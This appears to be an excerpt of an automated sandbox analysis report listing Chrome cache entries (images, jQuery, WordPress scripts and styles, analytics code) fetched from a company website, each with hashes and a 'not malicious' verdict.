Preview:	.PNG........IHDR.......3.....r./.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:EBA42104A37411EE8CEBFECEBB2F9B1B" xmpMM:InstanceID="xmp.iid:EBA42103A37411EE8CEBFECEBB2F9B1B" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" stRef:documentID="3B5803A37CE689C69FE552874233FFC1"/> <dc:creator> <rdf:Seq> <rdf:li>Pete Desrosiers</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	dropped
Size (bytes):	266502
Entropy (8bit):	5.566593869843743
Encrypted:	false
SSDEEP:	6144:FlIGKlqkyd1MvO5QEDF2Dej7dsSFVVl2M:FlwUkyd9lB
MD5:	10B044E4B4D63FA25492473C07F3BBD8
SHA1:	221610DCC3DE010C02956B9930D2492B92CF9173
SHA-256:	645B2736AD1D0C1499C960B70D8F14C5D78679F759C0ADDDCF3114A2C3FD0EE4
SHA-512:	BB53E8B8EA090A8329A410D685D42C2C05390FFD588E2547D0598A5D91FAE76CCAAE9D0A23623621345F0B968A53920AD435DACCF5CBE6C6A04B9035265225DD
Malicious:	false
Reputation:	low
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":5,"vtp_value":true,"tag_id":10},{"function":"__ogt_referral_exclusion","priority":5,"vtp_includeConditions":["list","twbcompany\\.com"],"tag_id":12},{"function":"__ogt_session_timeout","priority":5,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":13},{"function":"__ogt_1p_data_v2","priority":5,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECT

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	39618
Entropy (8bit):	7.9735962215835565
Encrypted:	false
SSDEEP:	768:KQHZgHYIsJyJ3rCIrHbpWk7YDSIQjsriZD1U5SK3eZzXyzoHdgXpIFQb+HjKO5VP:KQ5lIsJweKHdWmZBZpUEKudXyzoHmI2A
MD5:	2D146F049F0E2BE17E78682B81714B37
SHA1:	83043B24881873627A1FFE2145E8FEF27FC857D5
SHA-256:	57F8B778E6195A7015D3D8A2B8007959F9E255E7CCF7B1BFB91E79CBC3EF3C44
SHA-512:	033CD3F053819F2A07C034D7A344217F68E198D083B612D1F4E74FE50AD2E50AEA9B019B1544DF1FE852DCF7FD0FD5860A50DE1E9BFD4FC477889A370944F451
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:FB31B48458DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48358DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15752)
Category:	downloaded
Size (bytes):	18726
Entropy (8bit):	4.756109283632968
Encrypted:	false
SSDEEP:	384:WTbvzWuPTb9Uh3o//bEPjXgA2k1efAJmpr:WX6U9Uh3o//YrXgAGfACr
MD5:	B976B651932BFD25B9DDB5B7693D88A7
SHA1:	7FCB7CB5C11227F9213B1E08A07D0212209E1432
SHA-256:	4E6CE5444C7F396CEF0EB1FA3611034151E485DD06FBE5573A5583E1EEBC98C3
SHA-512:	A241EBDCFAF153D5C2A86761145B2575CBE734B4F416ACBFAC082AE5C6EB7C706BD6CA3BC286B7E1A0F9E326729252DCB95B776750C4A3A0D81F2AA6258EA39F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){v

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
URL:	https://c.6sc.co/
Preview:	<p></p>

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 174, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13737
Entropy (8bit):	7.960474460615749
Encrypted:	false
SSDEEP:	192:whO7uLxFI5O2Sua8BTsEvuZyudkgCMELGumVMUlnSgiKc7JSRZuQTlqGuDEA2E50:WEl8T39X4Ku9I90tsTTPuLAkXkjiw
MD5:	F94512C8ED5C131E111BF5BA7D11C004
SHA1:	A0B4752C55D3730A131BB606F2977F92512DD7E9
SHA-256:	AD9288DE27871EF3089A9244459A1CE35AB7F333097B4D70219A2B5F9C57EB7D
SHA-512:	D1F68B9A403A7A9B8B3A6E4E5842F76B080F7ABBFA207B6530548C5699C90EEC64D4DC677AC462553AA3A267FE2D3F023E869428079A5A7F816AFF1B44810970
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............s.B.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A86DB729439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:A86DB728439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="EE4B07EDD9EDFC539B2469A8C4863032" stRef:documentID="EE4B07EDD9EDFC539B2469A8C4863032"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9.....2)IDATx..]..\U.?...fS6..R.!...E"(H...D........*".E..b.P..A.&....Q .C.BB.i.B...y.;.....yo...wv...N.3...~.=.r........SO....

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.0859863571819224
Encrypted:	false
SSDEEP:	12:ta/ampMdRNaeZbelEsKse2VnnhYRsxIh/P+na5BaJ:oSmpMcTEsK9AnYjh/P+a5s
MD5:	A2E0DC7C6DA05CECF78062CDE3B59A50
SHA1:	D0DCCCA38DC112E0F1947E305FCBE835D3B6861C
SHA-256:	C80C4A308CBBDF1491C064897D44026C8D2804EFB7961D451DA4570090B60B2D
SHA-512:	1DF2ACC03B2D1D0394E875AF339453764CBA5619F2A94FB66AE6F2AAAEEC7F9BF50240D51C28404E8915AB30F5AD2A3B08B57F153C460BF13E22C8D6AC61767F
Malicious:	false
Reputation:	low
Preview:	............ .h.......(....... ..... .........#...#...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................hC,...v.....b<%.lH2.nK5.nJ4.jE/.pM8..~o.oL6.jE/..lZ.........uR>.L...[2..U+..U,....p.F...X/....q.D...lG2..eR.mI2.?.........jE/.{ZG.xWB.pM8...p.....yXD..\|m......aN.tR=.{[G.vT?..zj...............................................................................................................................................................................................................................................

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	dropped
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	downloaded
Size (bytes):	165619
Entropy (8bit):	7.98187274018574
Encrypted:	false
SSDEEP:	3072:+whNJLlD2ooQMas1d4aZQhYf9f1dYST51mRpo/9+f578EkNGI2a+jP7y9O0pecXn:+whNJ8oDM3P47heL/V1coC78E+5sjy9t
MD5:	21CCB2C5B861BB3E187C698FC16D98B8
SHA1:	BF9BAC73EC6F6720015B907CC9D2BECD2269815E
SHA-256:	221281C7B27438D45B9D1EFB77924E118116AD108662AAD103A443371D7FDDB3
SHA-512:	16588D133A7E8AD3E85480E8299695D567D4E789DC62CDC30D26D55EEA2FB246C341935378D69894464D63A045BB116CE48E71FAFF191E45BCE95573E1B08039
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/generic-bg.jpg
Preview:	......Exif..II*.................Ducky.......<.....2http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.3 (Macintosh)" xmpMM:InstanceID="xmp.iid:C591FF87B3BB11EEBC85D4E5589EF600" xmpMM:DocumentID="xmp.did:C591FF88B3BB11EEBC85D4E5589EF600"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C591FF85B3BB11EEBC85D4E5589EF600" stRef:documentID="xmp.did:C591FF86B3BB11EEBC85D4E5589EF600"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..........................................................................................................................

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	downloaded
Size (bytes):	95957
Entropy (8bit):	5.39099763946861
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmc:R+41ZqLTW8xRrqSb8qGH77da98Hrf
MD5:	895323ED2F7258AF4FAE2C738C8AEA49
SHA1:	276C87FF3E1E3155679C318938E74E5C1B76D809
SHA-256:	ECB916133A9376911F10BC5C659952EB0031E457F5DF367CDE560EDBFBA38FB8
SHA-512:	C40111C3CC0754E90CF71F72F7F16F43B835B7E808423DFD99F90DD5177538B702E64FF1D9EE8D3BC86AEAA11B6F7A0EF826184E354B162158839FFB75D174CC
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-1.11.3.min.js?ver=1.11.3
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	787
Entropy (8bit):	7.535224668131678
Encrypted:	false
SSDEEP:	24:YgktmKBgMJliZv7AmrYq1Yv6Bv9aRdgcafK:Yge5lgv7AFqm81qdgcafK
MD5:	43F0AB4CBCC999CF3D3BD81BB05FE952
SHA1:	8B0F5C1805305E826C8457935C6BE08C22C46A85
SHA-256:	5F979BB91EAF11B4A8F292CF49BAB2250EB755CFF8F6A10169977DB44ACABD3E
SHA-512:	1F164474D779239ECDAE5A39CDF1D13AD93CD1B2920600FF4364E2A429DED442702B84E03449D08ED9740564125DFB56FFE8FE59D77E29BE2ED951EC74C7DAD5
Malicious:	false
Reputation:	low
URL:	https://browser-update.org/static/img/small/c.png
Preview:	.PNG........IHDR.............(-.S....PLTE...E.J....hW.gW7.@.aQ..7.F9.A.^P.^P.........z.4B.EF.F. ..G@.DI.G......RG....#."...QG.gV=.B.'F8.AL.H9.A.[N.U>7.A...dT.cS.QG.......\O.G@.D<.B>..B.D?.D:.A.G@...T..Dq..N..]....s.]O3.NG.F-.-,.+.w$.v#...%...................X...........v.......R..G..?.......e..\|..V..R..6~.'q......g...........q...}..w.hb,.O..N..L(.I..G.PGD.E6.D{.A:.?..>.8>a.:..7.=7.;7.)4.!2.'0,...4...,..(.%. ..cu...........................v....)j. ...*tRNS.....d#...................zzsnlkgeXSJ....c.......IDAT..c..M6.ff.9..(P....[.6._V..$@\|..SS.ZW.j= P``.`,..h....uvrvRgP.,..........pw.d.e.k..........fb...kN..177.I...2...7.E&...&..x.D....}-..,.r.Z......-,".<....8.....m..m.t.......M.B5.e=..f.2 ......g....A<..iR.....(....0?...;...H/4.........IEND.B`.

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
Preview:	<p></p>

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59701)
Category:	downloaded
Size (bytes):	113381
Entropy (8bit):	4.921824878665509
Encrypted:	false
SSDEEP:	1536:MZeJKfZdlk2u5SOV+UQ37410kxJdPfrF3Ps:MZeJMTk2u5SOV+UQ37410kTd3Z3Ps
MD5:	51A8390B47AA0582CF2D9C96C5ADDEE2
SHA1:	B16A640874025D085C38119A1A02A3460F83F2DE
SHA-256:	98CECF88A23542FA047CE46EEDB650B5C5128761ED4386C0977B847094DDFA20
SHA-512:	711162AB43E59E0FF5F050CCA4278682194248A13EF2EE1F00AB276B6221E7A4DDDEB9645E8798E7F67A34F0001C8F63469F2B2C3E6D4E2519ADA30B6775E191
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	dropped
Size (bytes):	165619
Entropy (8bit):	7.98187274018574
Encrypted:	false
SSDEEP:	3072:+whNJLlD2ooQMas1d4aZQhYf9f1dYST51mRpo/9+f578EkNGI2a+jP7y9O0pecXn:+whNJ8oDM3P47heL/V1coC78E+5sjy9t
MD5:	21CCB2C5B861BB3E187C698FC16D98B8
SHA1:	BF9BAC73EC6F6720015B907CC9D2BECD2269815E
SHA-256:	221281C7B27438D45B9D1EFB77924E118116AD108662AAD103A443371D7FDDB3
SHA-512:	16588D133A7E8AD3E85480E8299695D567D4E789DC62CDC30D26D55EEA2FB246C341935378D69894464D63A045BB116CE48E71FAFF191E45BCE95573E1B08039
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....2http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.3 (Macintosh)" xmpMM:InstanceID="xmp.iid:C591FF87B3BB11EEBC85D4E5589EF600" xmpMM:DocumentID="xmp.did:C591FF88B3BB11EEBC85D4E5589EF600"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C591FF85B3BB11EEBC85D4E5589EF600" stRef:documentID="xmp.did:C591FF86B3BB11EEBC85D4E5589EF600"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..........................................................................................................................

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2550 x 896, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1724038
Entropy (8bit):	7.985733919825843
Encrypted:	false
SSDEEP:	24576:w+ab7I9x1ka27mbFdzeK/5mWnwS9rHKopo1Rc7su4hg9IIIjg7i34Dzw4u:w+aHBCSacS9rHK6wOKIIk+3qzw4u
MD5:	E06396102D509318D7BAEA5280885E27
SHA1:	C3C34467D30941317853B8A578BF65CDB78C11CB
SHA-256:	1E668724AA6614C32BF2D85C8C14D8D03577255229F651DE966A52020316CE97
SHA-512:	C5F72A7D79DBF36A64A5ABBDB8B848D66306BCF851F3A86C9CA334C2CC0C1559507AE2D45D930891F5ECC363CAAC8FA7F15EC4712F3CB4D3B30058C47C07F501
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r.....liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 961 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	14686
Entropy (8bit):	7.9593736775439226
Encrypted:	false
SSDEEP:	192:DFq+r5ipc0Ckcs+4+xF07t60Cc96LwTRpTJXqxkJM6cVadNSAM4od618deMfDWyf:BqzgW+417lwsdHOqV7NapoW8cWyOvG5
MD5:	D69E99F3FF1FEC7A12E7B6CCB2F2CBB9
SHA1:	3A564871372848B00867E59F0F6EA29B0B48923D
SHA-256:	D46863CFFB4A1125E4EB8659788EE486C186A77A1D4861273A3F2885EA5EB8B8
SHA-512:	42E4C6850A4260C82409D2D83589ED2B59279C3FC6DEA9B25EFF65BD1084FE4D67BB984A4E1413294B290A024EE96716AB469715093C290FD24EE7F04D3ADB2D
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/flags.png
Preview:	.PNG........IHDR.............B......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:30833223496011E5A918F78BFA243EFD" xmpMM:DocumentID="xmp.did:30833224496011E5A918F78BFA243EFD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30833221496011E5A918F78BFA243EFD" stRef:documentID="xmp.did:30833222496011E5A918F78BFA243EFD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7...5.IDATx..}..T.....)...t./HW.]...5.D.W...........bbW.Q.....RT..P..,,.M}.....{ovfvfY?.<?.....{...{.}...7

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
